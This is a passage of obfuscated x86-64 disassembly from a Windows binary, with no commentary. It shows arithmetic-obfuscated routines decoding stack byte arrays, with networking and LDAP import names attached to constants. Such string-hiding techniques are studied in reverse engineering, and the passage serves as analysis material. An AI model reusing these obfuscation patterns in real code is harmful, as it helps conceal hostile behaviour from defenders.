and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x80
movzx eax, byte [rbp + r11 + 0x1d0]
add rax, r9
add r11, rax
inc r11
jmp 0x1400d5293
cmp r8, rcx
jne 0x1400d57be
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400d588f
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d57e1
movzx edi, r11b
lea ecx, [rdi - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x40
jmp 0x1400d5837
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d5521
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
dec r11
inc r11
jmp 0x1400d5293
mov byte [rbp + r11 + 0x1d0], bl
inc r11
jmp 0x1400d5293
movzx eax, r10b
and al, r11b
add al, al
movzx ebx, byte [rbp + r11 + 0x1d0]
sub bl, al
add bl, r11b
movzx edi, r11b
add bl, r10b
sub dil, 0x60
movzx eax, r10b
and al, dil
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x60
add cl, r10b
add cl, dil
mov byte [rbp + r11 + 0x1d0], cl
add r8, r9
jmp 0x1400d588f
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1400d5957
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x60
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400d5293
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x60
inc r9
dec r11
inc r11
jmp 0x1400d5293
movzx edi, r11b
mov ecx, Ordinal_50
lea edx, [rdi + 0x60]
movzx eax, dl
and al, r10b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
add dil, 0x60
movzx eax, dil
and al, r10b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, dil
add cl, r10b
mov byte [rbp + r11 + 0x1d0], cl
inc r9
dec r11
inc r11
jmp 0x1400d5293
lea edx, [r11 + 0x60]
mov ecx, Ordinal_50
movzx eax, dl
and al, r10b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
dec r11
inc r11
jmp 0x1400d5293
lea rdx, [r11 + r12]
movzx r10d, dil
movzx eax, dl
and al, dil
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
lea edx, [r11 - 0x20]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x20
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x1d0], al
inc r9
add rax, r9
sub r11, rax
jmp 0x1400d59a1
lea rdx, [r11 + r13]
movzx r10d, dil
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
lea ecx, [r11 + 0x80]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
add r10b, 0x80
add r10b, cl
mov byte [rbp + r11 + 0x1d0], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x1d0]
add rax, r9
add r11, rax
inc r11
jmp 0x1400d5293
lea rcx, [r11 + r15]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x20
movzx eax, byte [rbp + r11 + 0x1d0]
add rax, r9
add r11, rax
inc r11
jmp 0x1400d5293
add r11b, 0x20
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
xor edi, edi
jmp 0x1400d5290
sub r11b, 0x20
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x20
xor edi, edi
jmp 0x1400d5280
lea rax, [rbp + 0x1542550]
jmp 0x1400d5a6d
lea rax, [rbp + 0x8deff0]
jmp 0x1400d5a6d
lea rax, [rbp + 0x1d0]
mov qword [rbp + 0x3d0], rax
xor r8d, r8d
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp - 0x78]
call fcn.1400e9110
nop
lea rdx, [rbp - 0x78]
lea rcx, [rbp - 0x58]
call fcn.140024210
nop
lea rcx, [rbp - 0x78]
call fcn.1400249a0
mov byte [rbp - 0x30], Ordinal_211
mov byte [rbp - 0x2f], 0xd5
mov byte [rbp - 0x2e], 0xd4
mov byte [rbp - 0x2d], 0xeb
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x2c], xmm0
mov qword [rbp - 0x1c], rax
mov byte [rbp - 0x14], al
movabs rsi, 0x2695d9b636f7af9d
movabs r14, 0x5b44a767eeb52c85
movabs r12, 0xe18f3fb80c5cd4b
movabs r15, 0x73c18d22a4e70ed7
movzx r11d, byte [rbp + 0x3c0]
nop
mov r9, qword [0x1402e0428]
mov r8, qword [0x1402e0430]
nop
xor edi, edi
mov ebx, edi
cmp rbx, 0x1d
jae 0x1400d65f6
movzx r10d, byte [rbp + rbx - 0x30]
mov rdi, r10
cmp r9, rbx
ja 0x1400d65ed
lea rax, [r8 + 1]
cmp r9, rax
jae 0x1400d5b43
lea rcx, [rbx + rsi]
mov rax, r10
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, r10
add r11, rcx
sub r11b, 0x4b
jmp 0x1400d5b80
je 0x1400d6585
lea rax, [r8 + 2]
cmp r9, rax
je 0x1400d6506
lea rax, [r8 + 3]
cmp r9, rax
je 0x1400d64d7
lea rax, [r8 + 4]
cmp r9, rax
je 0x1400d649c
lea rax, [r8 + 8]
cmp r9, rax
je 0x1400d645e
nop dword [rax]
cmp r8, rbx
ja 0x1400d65e4
lea rax, [r8 + 9]
cmp r9, rax
jae 0x1400d5ba9
lea ecx, [rbx - 0x1f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x27
jmp 0x1400d5be0
lea rax, [r8 + 1]
cmp r9, rax
je 0x1400d6446
lea rax, [r8 + 3]
cmp r9, rax
je 0x1400d6425
lea rax, [r8 + 4]
cmp r9, rax
je 0x1400d6407
lea rax, [r8 + 5]
cmp r9, rax
je 0x1400d63ec
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400d611d
nop dword [rax]
lea rax, [r8 + 0x61]
cmp r9, rax
je 0x1400d6103
lea rax, [r8 + 0x5a]
cmp r9, rax
je 0x1400d60db
lea rax, [r8 + 0x20]
cmp r9, rax
je 0x1400d60bb
lea rax, [r8 + 0x42]
cmp r9, rax
je 0x1400d609c
lea rax, [r8 + 0x200]
cmp r9, rax
je 0x1400d607a
lea rax, [r8 + 0x1000]
cmp r9, rax
je 0x1400d6060
lea rax, [r8 + 8]
cmp r9, rax
je 0x1400d6041
lea rax, [r8 + 0x10]
cmp r9, rax
je 0x1400d6027
lea rax, [r8 + 0x40]
cmp r9, rax
je 0x1400d5ffa
lea rax, [r8 + 0x2a]
cmp r9, rax
je 0x1400d5bf0
lea r9, [r8 + 0x42]
lea r8, [r9 + 3]
lea rax, [r8 + 0x200]
cmp r9, rax
jb 0x1400d65c9
lea rax, [r8 + 0x1000]
cmp r9, rax
jb 0x1400d65ae
lea rax, [r8 + 8]
cmp r9, rax
jb 0x1400d5dd8
lea rax, [r8 + 0x10]
cmp r9, rax
jb 0x1400d5dbe
lea rax, [r8 + 0x40]
cmp r9, rax
jb 0x1400d5da4
lea rax, [r8 + 0x2a]
cmp r9, rax
jb 0x1400d5fb3
lea rax, [r8 + 3]
cmp r9, rax
jb 0x1400d5f6d
lea rax, [r8 + 6]
cmp r9, rax
jb 0x1400d5f32
lea rax, [r8 + 0x3e8]
cmp r9, rax
jb 0x1400d5f10
lea rax, [r8 + 0x61]
cmp r9, rax
jb 0x1400d5bf0
lea r9, [r8 + 0x10]
lea r8, [r9 + 0x5a]
lea rax, [r8 + 0x40]
cmp r9, rax
ja 0x1400d5ee3
lea rax, [r8 + 0x2a]
cmp r9, rax
ja 0x1400d5ec9
lea rax, [r8 + 3]
cmp r9, rax
ja 0x1400d5eaa
lea rax, [r8 + 6]
cmp r9, rax
ja 0x1400d5e90
lea rax, [r8 + 0xa]
cmp r9, rax
ja 0x1400d5e6e
lea rax, [r8 + 0x61]
cmp r9, rax
ja 0x1400d5e54
lea rax, [r8 + 0x5a]
cmp r9, rax
ja 0x1400d5e34
lea rax, [r8 + 2]
cmp r9, rax
ja 0x1400d5e0c
lea rax, [r8 + 0x42]
cmp r9, rax
ja 0x1400d5df2
lea rax, [r8 + 0x200]
cmp r9, rax
ja 0x1400d5bf0
lea r9, [r8 + 6]
lea r8, [r9 + 0x1000]
jmp 0x1400d5bf0
lea ecx, [rbx + 0x3f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x47
jmp 0x1400d5be0
lea ecx, [rbx + 5]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x23
jmp 0x1400d5b80
lea ecx, [rbx - 0x35]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x73
jmp 0x1400d5b14
lea ecx, [rbx + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x38
jmp 0x1400d6477
lea edx, [rbx - 0x32]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r8
dec rbx
inc rbx
jmp 0x1400d5b04
lea ecx, [rbx - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xc
dec rbx
inc rbx
jmp 0x1400d5b04
lea ecx, [rbx + 0x5a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x76
jmp 0x1400d64b5
lea edx, [rbx + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r9, r8
jmp 0x1400d64ed
lea ecx, [rbx - 0x1a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4a
jmp 0x1400d64ed
lea edx, [rbx - 0x54]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400d6524
lea ecx, [rbx + 0x72]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x1e
jmp 0x1400d6547
lea edx, [rbx + 0x38]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx - 0x30]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400d5b04
lea ecx, [rbx + 0x27]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x11
mov byte [rbp + rbx - 0x30], r11b
inc rbx
jmp 0x1400d5b04
lea ecx, [rbx - 0x13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7b
cmp r8, 0x2a
jb 0x1400d5f25
lea ecx, [rbx - 0x72]
movzx eax, cl
and al, r10b
mov edx, reloc.WS2_32.dll_ntohs
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea r11d, [rdx + rdx]
jmp 0x1400d6477
lea ecx, [rbx - 0x4d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x1b
cmp r9, 4
jae 0x1400d63b3
lea rax, [r8 + 0x3e8]
cmp r9, rax
jbe 0x1400d6300
lea ecx, [rbx + 0x4a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 6
jmp 0x1400d5f47
lea ecx, [rbx + 0x79]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4f
lea rax, [r9 + r8]
cmp rax, 0x5a
je 0x1400d63d6
lea rax, [r8 + 0x7a]
cmp r9, rax
jbe 0x1400d6234
lea ecx, [rbx + 0x69]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x21
jmp 0x1400d5f82
lea edx, [rbx + 0x46]
movzx eax, dl
and al, r10b
mov ecx, ntohl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx - 0x30]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400d5b04
lea ecx, [rbx + 0xc]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x54
jmp 0x1400d6547
lea edx, [rbx - 0x2e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400d6524
lea ecx, [rbx - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x28
jmp 0x1400d64ed
lea edx, [rbx + 0x5e]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r9, r8
jmp 0x1400d64ed
lea edx, [rbx + 0x24]
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400d64b5
lea ecx, [rbx - 0x16]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x66
dec rbx
inc rbx
jmp 0x1400d5b04
lea edx, [rbx - 0x50]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r8
dec rbx
inc rbx
jmp 0x1400d5b04
lea ecx, [rbx + 0x76]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3a
jmp 0x1400d6477
lea rax, [r8 + 0x64]
cmp r9, rax
jae 0x1400d6140
lea ecx, [rbx - 0x63]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4b
jmp 0x1400d5fc8
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400d6171
lea ecx, [rbx - 0x3e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4e
movzx eax, byte [rbp + rbx - 0x30]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400d5b04
lea rax, [r8 + 2]
cmp r9, rax
jne 0x1400d6194
lea ecx, [rbx + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7a
jmp 0x1400d6524
lea rax, [r8 + 3]
cmp r9, rax
jne 0x1400d61b7
lea ecx, [rbx + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x10
jmp 0x1400d64ed
lea rax, [r8 + 4]
cmp r9, rax
jne 0x1400d61da
lea ecx, [rbx - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3c
jmp 0x1400d64b5
lea rax, [r8 + 7]
cmp r9, rax
jne 0x1400d6208
lea edx, [rbx + 0x1e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x1400d5b04
lea rax, [r8 + 8]
cmp r9, rax
jne 0x1400d5fc8
lea edx, [rbx - 0x6e]
movzx eax, dl
and al, r10b
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400d6477
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400d6257
lea ecx, [rbx - 0x5d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x75
jmp 0x1400d6477
inc rax
cmp r9, rax
jne 0x1400d6282
lea ecx, [rbx - 0x23]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xb
inc r8
dec rbx
inc rbx
jmp 0x1400d5b04
lea rax, [r8 + 3]
cmp r9, rax
jne 0x1400d62a8
lea ecx, [rbx - 0x75]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x33
add r9, r8
jmp 0x1400d64ed
lea rax, [r8 + 5]
cmp r9, rax
jne 0x1400d62cb
lea ecx, [rbx - 1]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 7
jmp 0x1400d6524
lea rax, [r8 + 9]
cmp r9, rax
jne 0x1400d5f82
lea ecx, [rbx + 0x73]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x25
movzx eax, byte [rbp + rbx - 0x30]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400d5b04
lea rcx, [r8 + 1]
cmp r9, rcx
jne 0x1400d6336
lea edx, [rbx - 0x7c]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx - 0x30]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400d5b04
lea rax, [r8 + 3]
cmp r9, rax
jne 0x1400d635e
lea edx, [rbx - 8]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400d6524
lea rax, [r8 + 5]
cmp r9, rax
jne 0x1400d6386
lea edx, [rbx - 0x5a]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400d64b5
lea rax, [rcx + 1]
cmp r9, rax
jne 0x1400d5f47
lea ecx, [rbx - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x20
dec rbx
inc rbx
jmp 0x1400d5b04
lea edx, [rbx - 0x38]
movzx eax, dl
and al, r10b
add al, al
movzx r11d, byte [rbp + rbx - 0x30]
sub r11b, al
sub r11b, 0x78
add r11b, dl
add r11b, r10b
jmp 0x1400d64b5
lea ecx, [rbx + 2]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [rcx - 0xe]
jmp 0x1400d6524
lea ecx, [rbx + 0x3d]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x55
jmp 0x1400d64ed
lea ecx, [rbx + 3]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x15
add r9, r8
jmp 0x1400d64ed
lea ecx, [rbx - 0x71]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x17
dec rbx
inc rbx
jmp 0x1400d5b04
lea edx, [rbx + 0x1b]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x43
jmp 0x1400d6474
lea edx, [rbx - 0x59]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x6f
add r11b, dl
lea ecx, [rbx + 0x2b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x2d
add cl, r10b
mov byte [rbp + rbx - 0x30], cl
inc r8
dec rbx
inc rbx
jmp 0x1400d5b04
lea edx, [rbx - 7]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x31
add r11b, dl
lea edx, [rbx + 0x65]
movzx eax, dl
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x3d
add cl, dl
add cl, r10b
mov byte [rbp + rbx - 0x30], cl
add r9, r8
jmp 0x1400d64ed
lea rcx, [rbx + r14]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
add r11b, 0x5d
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400d5b04
lea rdx, [rbx + r12]
movzx r10d, dil
movzx eax, dl
and al, dil
add al, al
movzx r11d, dil
sub r11b, al
sub r11b, 0xd
add r11b, dl
lea ecx, [rbx - 0x61]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x59
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx - 0x30], al
inc r8
add rax, r8
sub rbx, rax
lea edx, [rbx + 0x3c]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + rbx - 0x30], cl
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx - 0x30]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400d5b04
lea rcx, [rbx + r15]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
add r11b, 0x1f
movzx eax, byte [rbp + rbx - 0x30]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400d5b04
sub bl, 0x6f
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 9
jmp 0x1400d5b00
add bl, 0x57
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x61
jmp 0x1400d5af0
mov r14d, dword [rbp + 0x169fd4c]
jmp 0x1400d65fa
mov r14d, dword [rbp + 0x61ace9]
jmp 0x1400d65fa
mov r14d, dword [rbp - 0x30]
lea rcx, [rbp - 0x58]
call fcn.140024a10
mov r15, rax
mov byte [rbp - 0x10], 0x5f
mov byte [rbp - 0xf], 0x5d
mov byte [rbp - 0xe], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp - 0xd], 0x61
mov byte [rbp - 0xc], 0xf0
xor eax, eax
mov qword [rbp - 0xb], rax
mov dword [rbp - 3], eax
mov word [rbp + 1], ax
mov byte [rbp + 3], al
movabs r12, 0x45e806fa48a272de
movabs r13, 0xd1b814eed9e7589a
movzx r10d, byte [rbp + 0x3c0]
nop word [rax + rax]
mov r8, qword [0x1402e0428]
mov r9, qword [0x1402e0430]
nop
xor ebx, ebx
cmp rbx, 0x14
jae 0x1400d6f5b
movzx r11d, byte [rbp + rbx - 0x10]
mov rdi, r11
cmp r8, rbx
ja 0x1400d6f52
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d66a1
lea rcx, [rbx + r12]
mov rax, rcx
and rax, r11
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, r11
sub r10b, 0x12
jmp 0x1400d66cd
je 0x1400d6eec
inc rax
cmp r8, rax
je 0x1400d6e87
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d6e37
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d6e17
nop dword [rax]
cmp r9, rbx
ja 0x1400d6f49
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400d66f9
lea ecx, [rbx + 0x36]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7a
jmp 0x1400d6740
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d6dd8
inc rax
cmp r8, rax
je 0x1400d6db0
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d6d8b
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d6d5a
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d6d40
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400d6a09
nop dword [rax]
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400d69fc
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400d69d4
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400d69b4
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d699a
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d6750
lea r8, [r9 + 0x41]
lea r9, [r8 + 4]
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400d6f2f
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400d6f15
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400d6853
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400d6834
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400d692e
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400d690c
mov r8, rax
lea r9, [rax + 0x20]
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400d68df
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400d68c0
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400d68a1
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400d6887
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400d686d
mov r8, rax
lea r9, [rax + 2]
jmp 0x1400d6750
lea edx, [rbx - 0x76]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d6740
lea ecx, [rbx + 0x12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7e
jmp 0x1400d6672
lea ecx, [rbx + 0x7c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x64
jmp 0x1400d6d03
lea ecx, [rbx + 4]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1c
jmp 0x1400d6d72
lea edx, [rbx + 0x48]
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d6e5e
lea edx, [rbx - 0x74]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d6eae
lea edx, [rbx - 0x30]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d6662
lea ecx, [rbx + 0x7a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x56
mov byte [rbp + rbx - 0x10], r10b
inc rbx
jmp 0x1400d6662
lea ecx, [rbx + 2]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xe
cmp r8, 0x2a
jae 0x1400d6ce5
lea rcx, [r9 + 6]
cmp r8, rcx
jbe 0x1400d6c24
lea edx, [rbx + 0x1c]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
cmp r9, 0x80
jb 0x1400d6921
lea ecx, [rbx + 0x74]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x58]
jmp 0x1400d6df2
lea ecx, [rbx + 0x54]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4c
jmp 0x1400d6d6f
lea ecx, [rbx - 0x24]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 4
dec rbx
inc rbx
jmp 0x1400d6662
lea edx, [rbx + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400d6662
lea edx, [rbx + 0x64]
mov ecx, Ordinal_35
jmp 0x1400d6de0
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400d6a5e
lea ecx, [rbx - 0x22]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x12
lea rax, [r9 + r8]
cmp rax, 0x3e8
je 0x1400d6d22
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x1400d6b55
lea ecx, [rbx - 0x1a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4a
jmp 0x1400d6943
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d6a94
lea edx, [rbx + 0x6c]
